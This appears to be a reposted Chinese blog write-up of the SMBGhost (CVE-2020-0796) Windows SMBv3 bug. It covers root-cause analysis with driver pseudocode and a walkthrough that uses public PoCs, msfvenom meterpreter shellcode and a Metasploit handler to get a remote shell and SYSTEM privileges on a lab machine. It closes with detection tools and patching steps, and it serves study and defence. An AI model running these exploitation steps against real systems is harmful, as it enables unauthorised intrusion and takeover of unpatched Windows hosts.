Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现

摘要:
0x01漏洞响应版本Windows101903版本Windows101903版Windows101903版WindowsServer1903版Windows101909版本Windows10版本1909Windows101909版WindowsServer版本19090x02漏洞分析漏洞公告显示,SMB3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。例如,大多数在bug发布后不久出现并导致系统崩溃的poc都使用0xffffff值作为Offset字段。使用该值0xffffff会在第20行触发整数溢出,因此分配的字节更少。

0x00 漏洞描述

漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

0x01 漏洞响应版本

Windows 10 1903版本(用于基于x32的系统)
Windows 10 1903版(用于基于x64的系统)
Windows 10 1903版(用于基于ARM64的系统)
Windows Server 1903版(服务器核心安装)
Windows 10 1909版本(用于基于x32的系统)
Windows 10版本1909(用于基于x64的系统)
Windows 10 1909版(用于基于ARM64的系统)
Windows Server版本1909(服务器核心安装)

0x02 漏洞分析

漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

1.根本原因

漏洞发生在srv2.sys中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。

2.初步分析

该错误是发生在srv2.sys SMB服务器驱动程序中的Srv2DecompressData函数中的整数溢出错误。这是该函数的简化版本,省略了不相关的细节:

typedef struct_COMPRESSION_TRANSFORM_HEADER
{
    ULONG ProtocolId;
    ULONG OriginalCompressedSegmentSize;
    USHORT CompressionAlgorithm;
    USHORT Flags;
    ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

typedef struct_ALLOCATION_HEADER
{
    //...
PVOID UserBuffer;
    //...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
    PALLOCATION_HEADER Alloc =SrvNetAllocateBuffer(
        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
        NULL);
    If (!Alloc) {
        returnSTATUS_INSUFFICIENT_RESOURCES;
    }

    ULONG FinalCompressedSize = 0;

    NTSTATUS Status =SmbCompressionDecompress(
        Header->CompressionAlgorithm,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
        (PUCHAR)Alloc->UserBuffer + Header->Offset,
        Header->OriginalCompressedSegmentSize,
        &FinalCompressedSize);
    if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
        SrvNetFreeBuffer(Alloc);
        returnSTATUS_BAD_DATA;
    }

    if (Header->Offset > 0) {
        memcpy(
            Alloc->UserBuffer,
            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
            Header->Offset);
    }

    Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
    returnSTATUS_SUCCESS;
}

该Srv2DecompressData函数接收客户端发送的压缩消息,分配所需的内存量,并解压缩数据。然后,如果Offset字段不为零,它会将放置在压缩数据之前的数据复制到分配的缓冲区的开头。

Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第1张

如果仔细观察,我们会发现第20行和第31行可能导致某些输入的整数溢出。例如,大多数在bug发布后不久出现并导致系统崩溃的poc都使用0xffffff值作为Offset字段。使用该值0xffffff会在第20行触发整数溢出,因此分配的字节更少。

稍后,它会在第31行触发额外的整数溢出。崩溃是由于在第30行中计算出的远离接收消息的地址处的内存访问造成的。如果代码在第31行验证了计算结果,那么它将很早退出,因为缓冲区长度恰好是负数且无法表示,这也使得第30行的地址本身也无效。

Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第2张

3.选择溢出内容

只有两个相关字段可以控制以导致整数溢出的字段:OriginalCompressedSegmentSize和Offset,因此没有太多选择。在尝试了几种组合之后,下面的组合吸引了我们:如果我们发送一个合法的偏移值和一个巨大的原始压缩段大小值呢?让我们回顾一下代码将要执行的三个步骤:

  1. 分配:由于整数溢出,分配的字节数将小于两个字段的总和。
  2. 解压缩:解压缩将收到一个非常大的OriginalCompressedSegmentSize值,将目标缓冲区视为具有无限大小。所有其他参数均不受影响,因此它将按预期执行。
  3. 复制:如果要执行,则复制将按预期执行。

不管是否要执行复制步骤,它看起来已经很有趣了——我们可以在解压缩阶段触发越界写入,因为我们设法分配了比“分配”阶段所需的字节少的字节。

Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第3张

如您所见,使用这种技术,我们可以触发任何大小和内容的溢出,这是一个很好的开始。但是什么位于我们的缓冲区之外?让我们找出答案!

4.深入分析SrvNetAllocateBuffer

为了回答这个问题,我们需要查看分配函数,在我们的例子中是SrvNetAllocateBuffer。下面是函数的有趣部分:

PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
    //...

    if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
        if (AllocSize > 0x1000100) {
            returnNULL;
        }
        Result =SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
    } else{
        int LookasideListIndex = 0;
        if (AllocSize > 0x1100) {
            LookasideListIndex = /*some calculation based on AllocSize */;
        }

        SOME_STRUCT list =SrvNetBufferLookasides[LookasideListIndex];
        Result = /*fetch result from list */;
    }

    //Initialize some Result fields...

    returnResult;
}

我们可以看到分配函数根据所需的字节数执行不同的操作。大型分配(大于约16MB)会导致执行失败。中型分配(大于约1 MB)使用SrvNetAllocateBufferFromPool函数进行分配。小型分配(其余的)使用lookaside列表进行优化。

注意:还有一个SrvDisableNetBufferLookAsideList标志会影响函数的功能,但是它是由一个未记录的注册表设置来设置的,并且默认情况下处于禁用状态,因此并不是很有趣。

Lookaside列表用于有效地为驱动程序保留一组可重用的、固定大小的缓冲区。lookaside列表的功能之一是定义一个自定义的分配/释放函数,用于管理缓冲区。查看SrvNetBufferLookasides数组的引用,我们发现它是在SrvNetCreateBufferLookasides函数中初始化的,通过查看它,我们了解到以下内容:

  • 自定义分配函数定义为SrvNetBufferLookasideAllocate,它只调用SrvNetAllocateBufferFromPool
  • 9个lookaside列表按以下大小创建,我们使用Python快速计算:
    >>> [hex((1 << (i + 12)) + 256) for i in range(9)]
    [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
  • 这与我们的发现相匹配,即分配大于0x100100字节的分配时不使用lookaside列表。

结论是每个分配请求最终都出现在SrvNetAllocateBufferFromPool函数中,所以让我们来分析它。

6.SrvNetAllocateBufferFromPool和分配的缓冲区布局

SrvNetAllocateBufferFromPool函数使用ExAllocatePoolWithTag函数在NonPagedPoolNx池中分配一个缓冲区,然后用数据填充一些结构。分配的缓冲区的布局如下:

Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第4张

在我们的研究范围内,此布局的唯一相关部分是用户缓冲区和分配头结构。我们可以马上看到,通过溢出用户缓冲区,我们最终会重写ALLOCATION_HEADER结构。看起来很方便。

7.重写分配头结构

此时,我们的第一个想法是,由SmbCompressionDecompress调用之后的检查:

if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    returnSTATUS_BAD_DATA;
}

SrvNetFreeBuffer将被调用,并且该函数将失败,因为我们将其设计OriginalCompressedSegmentSize为一个很大的数字,并且FinalCompressedSize将成为一个较小的数字,代表实际的解压缩字节数。因此,我们分析了该SrvNetFreeBuffer函数,成功地替换了一个幻数的分配指针,然后等待free函数尝试对其进行释放,以期稍后将其用于free-after-free或类似用途。但是令我们惊讶的是,该memcpy函数崩溃了。这使我们感到高兴,因为我们根本没有想到哪里,但我们必须检查为什么会这样。可以在SmbCompressionDecompress函数的实现中找到说明:

NTSTATUS SmbCompressionDecompress(
    USHORT CompressionAlgorithm,
    PUCHAR UncompressedBuffer,
    ULONG  UncompressedBufferSize,
    PUCHAR CompressedBuffer,
    ULONG  CompressedBufferSize,
    PULONG FinalCompressedSize)
{
    //...
NTSTATUS Status =RtlDecompressBufferEx2(
        ...,
        FinalUncompressedSize,
        ...);
    if (Status >= 0) {
        *FinalCompressedSize =CompressedBufferSize;
    }

    //...

    returnStatus;
}

基本上,如果解压成功,FinalCompressedSize将更新为保存CompressedBufferSize的值,它是缓冲区的大小。这种对FinalCompressedSize返回值的故意更新对我们来说似乎非常可疑,因为这个小细节,加上分配的缓冲区布局,允许非常方便地利用这个bug。

由于执行继续到复制原始数据的阶段,让我们再次检查调用:

memcpy(
    Alloc->UserBuffer,
    (PUCHAR)title+ sizeof(COMPRESSION_TRANSFORM_HEADER),
    Header-> Offset);

从ALLOCATION_HEADER结构中读取目标地址,我们可以覆盖该结构。缓冲区的内容和大小也由我们控制

8.本地权限提升

既然我们有了写在哪里开发,我们能用它做什么?很明显我们可以让系统崩溃。我们可能能够触发远程代码执行,但我们还没有找到这样做的方法。如果我们在本地主机上使用此漏洞并泄漏其他信息,我们可以将其用于本地权限提升,因为已经通过几种技术证明了这一点

我们尝试的第一种技术是Morten Schenk在其《Black Hat USA 2017》演讲中提出的。该技术涉及重写win32的.data部分中的函数指针数据库系统驱动程序,然后从用户模式调用相应的函数以获得代码执行。j00ru写了一篇关于在WCTF 2018中使用此技术的精彩文章,并提供了他的漏洞源代码。我们针对write what where漏洞进行了调整,但发现它不起作用,因为处理SMB消息的线程不是GUI线程。因此,win32数据库系统没有映射,而且技术也不相关(除非有办法使它成为一个GUI线程,这是我们没有研究过的)。

我们最终在2012年的黑帽演示中使用了cesarcer所介绍的著名技术—轻松本地Windows内核开发。该技术是通过使用NtQuerySystemInformation(SystemHandleInformation)API泄漏当前进程令牌地址,然后重写该地址,授予当前进程令牌权限,这些权限可用于权限提升。Bryan Alexander(dronesec)和Stephen Breen(breenmachine)(2017)在EoP研究中滥用代理权限,展示了使用各种令牌特权提升特权的几种方法。

我们基于Alexandre Beaulieu在利用任意写操作提升权限writeup时共享的代码进行攻击。在修改进程的令牌特权后,我们通过将DLL注入winlogon.exe. DLL的全部目的是启动命令提示符.我们的完整本地特权升级证明可在此处找到,仅可用于研究/防御目的。

0x03 CVE-2020-0796 RCE漏洞复现

1.环境准备
攻击机:kal2019 ip:192.168.1.101
目标靶机:windows10 1903 x64 (专业版,企业版也可以) ip:192.168.1.103
目标靶机的下载地址:
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
2.环境要求:
(1).该poc不太稳定,需要多次测试(猜测是占用监听端口或者网络问题),有可能出现蓝屏现象
(2).如果POC失败,可能是目标系统开启系统自带的defender拦截了
(3).测试的时候,最好关闭防火墙和杀软,让445端口开放
3.复现步骤
(1).kali下克隆下载利用poc
root@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第5张
(2).切换到利用poc目录下
root@kali2019:/opt# cd SMBGhost_RCE_PoC/
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第6张
(3).该POC需要用python3环境执行
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第7张
(4).可以看到目标靶机的IP地址以及系统版本
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第8张

Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第9张

(5).在kali下生成python版本的反弹shellcode
root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第10张
(6).可以看到生成的shellcode
root@kali2019:~# cat exp.py
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第11张
(7).将生成的exp.py代码中的变量buf全部替换成变量USER_PAYLOAD,然后将所有代码粘贴覆盖下面的代码处:
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第12张
(8).在kali上启动MSF,并如下设置
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp   #设置反弹模式
msf5 exploit(multi/handler) > set rhost 192.168.1.103#设置目标靶机IP地址
msf5 exploit(multi/handler) > set lport 2333#设置监听端口
msf5 exploit(multi/handler) > exploit 
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第13张
(9).执行利用poc,可以看到成功执行,在按任意键,最好回车键即可
python3  exploit.py  -ip  192.168.1.103
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第14张
(10).在msf可以看到成功反弹出目标靶机的shell
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第15张

0x04 CVE-2020-0796 本地提权漏洞复现

1.环境要求,需要windows 10 1909 x64
下载地址:ed2k://|file|cn_windows_10_business_editions_version_1909_x64_dvd_0ca83907.iso|5275090944|9BCD5FA6C8009E4D0260E4B23008BD47|/
提权POC:https://github.com/danigargu/CVE-2020-0796/releases
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第16张
2.这里我新建了一个普通权限的账号,可以看到权限很小
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第17张
3.在普通账号上执行cve-2020-0796-local.exe,可以看到成功提权到system权限
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第18张

0x05 漏洞检测

1.奇安信批量检测工具:
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第19张
2.sh脚本检测:
https://gist.githubusercontent.com/nikallass/40f3215e6294e94cde78ca60dbe07394/raw/84d803de937f5b6810df4441cc84f0fa63991e2e/check-smb-v3.11.sh
Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现第20张
3.python脚本检测:
https://github.com/ollypwn/SMBGhost

0x06 漏洞修复

1. 更新,完成补丁的安装。

操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。
2.微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

3.对SMB通信445端口进行封禁。

4.补丁链接
https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762

0x07 参考连接

https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html
https://github.com/danigargu/CVE-2020-0796
http://dl.qianxin.com/skylar6
https://github.com/ollypwn/SMBGhost
https://github.com/chompie1337/SMBGhost_RCE_PoC
https://github.com/danigargu/CVE-2020-0796
https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/

免责声明:文章转载自《Windows SMBv3 CVE-2020-0796 漏洞分析和l漏洞复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇MQTT实现IM即时通讯python-requests.post方法中data与json参数区别下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

ansible debug模块学习笔记

ansible playbook可以将多个命令组合来执行,但是很多时候我们需要接收服务器的反馈,所以debug模块就非常重要了。 模块说明 调试模块,用于在调试中输出信息 常用参数:msg:调试输出的消息 var:将某个任务执行的输出作为变量传递给debug模块,debug会直接将其打印输出 verbosity:debug的级别(默认是0级,全部显示)...

IOS网络编程之Socket详解

Socket描述了一个IP、端口对。它简化了程序员的操作,知道对方的IP以及PORT就可以给对方发送消息,再由服务器端来处理发送的这些消息。所以,Socket一定包含了通信的双发,即客户端(Client)与服务端(server)。1)服务端利用Socket监听端口;2)客户端发起连接;3)服务端返回信息,建立连接,开始通信;4)客户端,服务端断开连接。 1...

vue实现消息的无缝滚动效果

JS export default { data() { return { animate:false, items:[ {name:"马云"}, {name:"雷军"}, {name:"王勤"} ] } }, created(){...

yum命令Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY

yum命令Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY 博客分类:linux 三种解决方案我采取第三种方案解决的第一种:linux 使用rpm安装软件时,遇到"warning: rpmts_HdrFromFdno: Header V3 RSA/SHA256 Signature, key ID...

vue-slot 插槽分分钟搞定

插槽  更新:2.6.0 中,具名插槽和作用域插槽引入了一个新的统一的语法 (即 v-slot 指令)废弃:slot 和 slot-scope特性 插槽目的个人理解:子组件提供插槽位置(相当于占位),父组件任意提供插槽内容(相当于如何使用这个位置)插槽内容官方:Vue 实现了一套内容分发的 API,将 <slot>元素作为承载分发内容的出口。自...

crossdomain.xml配置不当的利用和解决办法

00x1: 今天在无聊的日站中发现了一个flash小站,点进crossdomain.xml一看,震惊 本屌看到这个*就发觉事情不对 百度一下,这是一个老洞,配置不当能引起各种问题就算能远程加载恶意的swf文件,(swf是flash专用后缀文件常用于网页和动画制作,再多本屌也不知道了) 该洞出现原因和能造成危害有3点: 1.根本没有配置crossdomai...